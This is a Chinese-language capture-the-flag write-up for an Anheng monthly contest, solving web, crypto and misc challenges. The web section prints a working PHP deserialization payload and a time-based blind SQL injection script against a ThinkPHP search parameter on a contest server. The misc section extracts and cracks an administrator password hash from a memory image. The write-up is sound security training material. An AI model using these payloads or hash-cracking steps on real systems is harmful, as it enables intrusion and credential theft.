前言

周末在家无聊,又刷了一次安恒月赛,以下是题解

 

Web

babygo

拿到题目

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  

class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

发现是一个简单的反序列化题目
我们发现只要满足

$this->nice->aaa === $this->nice->bbb

即可读文件

那么我们利用pop链,构造

但是我们注意到

aaa会被重新赋值,所以使用指针,这样bbb会跟随aaa动态改变

$a = new baby();
$a->bbb =&$a->aaa

构造出如下序列化

最后得到完整exp

<?php  
class baby 
{   
    protected $skyobj;    
    public $aaa;
    public $bbb;
    function __construct() 
    {          
        $this->skyobj = new cool;   
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
        {
            return $this->skyobj->read();      
        }
    }  
}  
class cool 
{    
    public $filename='./flag.php';     
    public $nice;
    public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D'; 
}   
$a = new baby();
// $a->bbb =&$a->aaa;
echo urlencode(serialize($a));
?>

生成payload

O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A227%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253BN%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BR%253A6%253B%257D%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D

最后可以得到

bd75a38e62ec0e450745a8eb8e667f5b

simple php

拿到题目

http://101.71.29.5:10004/index.php

探测了一番,发现robots.txt

User-agent: *

Disallow: /ebooks
Disallow: /admin
Disallow: /xhtml/?
Disallow: /center

尝试

http://101.71.29.5:10004/admin

发现有登录和注册页面

探测后,发现是sql约束攻击
注册

username = admin                                                                                1
password = 12345678

登录即可

http://101.71.29.5:10004/Admin/User/Index


发现是搜索框,并且是tp3.2
不难想到注入漏洞,随手尝试报错id

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and polygon(id)--


发现库名tpctf,表名flag,根据经验猜测字段名是否为flag

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and polygon(flag)--


nice,发现flag字段也存在,省了不少事
下面是思考如何注入得到数据,随手测试

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if(1,sleep(3),0)--


发现成功sleep 3s,轻松写出exp

import requests
flag = ''
cookies = {
    'PHPSESSID': 're4g49sil8hfh4ovfrk7ln1o02'
}
for i in range(1,33):
    for j in '0123456789abcdef':
        url = 'http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if((ascii(substr((select flag from flag limit 0,1),'+str(i)+',1))='+str(ord(j))+'),sleep(3),0)--'
        try:
            r = requests.get(url=url,timeout=2.5,cookies=cookies)
        except:
            flag += j
            print flag
            break

但是有点恶心的是,好像每隔5分钟就要重新注册,登录一遍,断断续续跑了几次,得到flag

459a1b6ea697453c60132386a5f572d6

 

Crypto

Get it

题目描述

Alice和Bob正在进行通信,作为中间人的Eve一直在窃听他们两人的通信。

Eve窃听到这样一段内容,主要内容如下:
p = 37
A = 17
B = 31

U2FsdGVkX1+mrbv3nUfzAjMY1kzM5P7ok/TzFCTFGs7ivutKLBLGbZxOfFebNdb2
l7V38e7I2ywU+BW/2dOTWIWnubAzhMN+jzlqbX6dD1rmGEd21sEAp40IQXmN/Y0O
K4nCu4xEuJsNsTJZhk50NaPTDk7J7J+wBsScdV0fIfe23pRg58qzdVljCOzosb62
7oPwxidBEPuxs4WYehm+15zjw2cw03qeOyaXnH/yeqytKUxKqe2L5fytlr6FybZw
HkYlPZ7JarNOIhO2OP3n53OZ1zFhwzTvjf7MVPsTAnZYc+OF2tqJS5mgWkWXnPal
+A2lWQgmVxCsjl1DLkQiWy+bFY3W/X59QZ1GEQFY1xqUFA4xCPkUgB+G6AC8DTpK
ix5+Grt91ie09Ye/SgBliKdt5BdPZplp0oJWdS8Iy0bqfF7voKX3VgTwRaCENgXl
VwhPEOslBJRh6Pk0cA0kUzyOQ+xFh82YTrNBX6xtucMhfoenc2XDCLp+qGVW9Kj6
m5lSYiFFd0E=

分析得知,他们是在公共信道上交换加密密钥,共同建立共享密钥。

而上面这段密文是Alice和Bob使用自己的密值和共享秘钥,组成一串字符的md5值的前16位字符作为密码使用另外一种加密算法加密明文得到的。

例如Alice的密值为3,Bob的密值为6,共享秘钥为35,那么密码为:

password = hashlib.md5("(3,6,35)").hexdigest()[0:16]

看到密钥交换和给定的3个参数,不难想到是Diffie-Hellman密钥交换算法
那么我们现在知道
1.A的公钥为17
2.B的公钥为31
3.素数p为37
那么第一步是先求g
我们知道g是p的一个模p本原单位根(primitive root module p),所谓本原单位根就是指在模p乘法运算下,g的1次方,2次方……(p-1)次方这p-1个数互不相同,并且取遍1到p-1;
我们直接调用sagemath的函数

print primitive_root(37)

可以得到

g=2

然后我们知道

A = g^a mod p
B = g^b mod p

即已知A,B,g,p怎么求a和b
因为这里的数都比较小,我们使用在线网站

https://www.alpertron.com.ar/DILOG.HTM

对于A的私钥,我们得到

对于B的私钥,我们得到

而对于共享密钥

key =  g^(b*a) mod p

计算

a = 7
b = 9
g = 2
p = 37
print pow(g,a*b,p)

得到共享密钥为6
于是按照样例

例如Alice的密值为3,Bob的密值为6,共享秘钥为35,那么密码为:

password = hashlib.md5("(3,6,35)").hexdigest()[0:16]

我们得到password

import hashlib
password = hashlib.md5("(7,9,6)").hexdigest()[0:16]
print password

结果a7ece9d133c9ec03
而对于密文

U2FsdGVkX1+mrbv3nUfzAjMY1kzM5P7ok/TzFCTFGs7ivutKLBLGbZxOfFebNdb2
l7V38e7I2ywU+BW/2dOTWIWnubAzhMN+jzlqbX6dD1rmGEd21sEAp40IQXmN/Y0O
K4nCu4xEuJsNsTJZhk50NaPTDk7J7J+wBsScdV0fIfe23pRg58qzdVljCOzosb62
7oPwxidBEPuxs4WYehm+15zjw2cw03qeOyaXnH/yeqytKUxKqe2L5fytlr6FybZw
HkYlPZ7JarNOIhO2OP3n53OZ1zFhwzTvjf7MVPsTAnZYc+OF2tqJS5mgWkWXnPal
+A2lWQgmVxCsjl1DLkQiWy+bFY3W/X59QZ1GEQFY1xqUFA4xCPkUgB+G6AC8DTpK
ix5+Grt91ie09Ye/SgBliKdt5BdPZplp0oJWdS8Iy0bqfF7voKX3VgTwRaCENgXl
VwhPEOslBJRh6Pk0cA0kUzyOQ+xFh82YTrNBX6xtucMhfoenc2XDCLp+qGVW9Kj6
m5lSYiFFd0E=

看到U2F这样的开头,我们尝试解密RC4,AES,DES
最后发现DES成功解密

成功得到flag:flag{8598544ba1a5713b1de04d3f0c41eb71}

键盘之争

看到题目名称键盘之争
以及唯一的信息ypau_kjg;"g;"ypau+
先去百度了下

发现第一项就是键盘之争,看来是有一个键位布局的映射关系
于是按照图片


简单写了个映射代码

QWERTY = ['q','w','e','r','t','y','u','i','o','p','{','}','|','a','s','d','f','g','h','j','k','l',';','"','z','x','c','v','b','n','m','<','>','?','_','+']
Dvorak = ['"','<','>','p','y','f','g','c','r','l','?','+','|','a','o','e','u','i','d','h','t','n','s','_',';','q','j','k','x','b','m','w','v','z','{','}']
dic = zip(Dvorak,QWERTY)

c = 'ypau_kjg;"g;"ypau+'
res=''
for i in c:
    for key,value in dic:
        if key == i:
            res += value
print res

得到结果

traf"vcuzquzqtraf}

看到有双引号感觉怪怪的,于是尝试

dic = zip(QWERTY,Dvorak)

于是得到结果

flag{this_is_flag}

这就美滋滋了,md5后得到flag

951c712ac2c3e57053c43d80c0a9e543

 

Misc

memory

拿到题目,既然要拿管理员密码,我们先查看下profile类型

得到类型为WinXPSP2x86
紧接着查注册表位置,找到system和sam key的起始位置

然后将其值导出

得到

获得Administrator的NThash:c22b315c040ae6e0efee3518d830362b
拿去破解

得到密码123456789
MD5后提交

25f9e794323b453885f5181f1b624d0b

赢战2019

拿到图片先binwalk一下

尝试提取里面的图片

得到提取后的图片

扫描一下

发现还有,于是用stegsolve打开

发现flag

flag{You_ARE_SOsmart}
源链接

Hacking more

...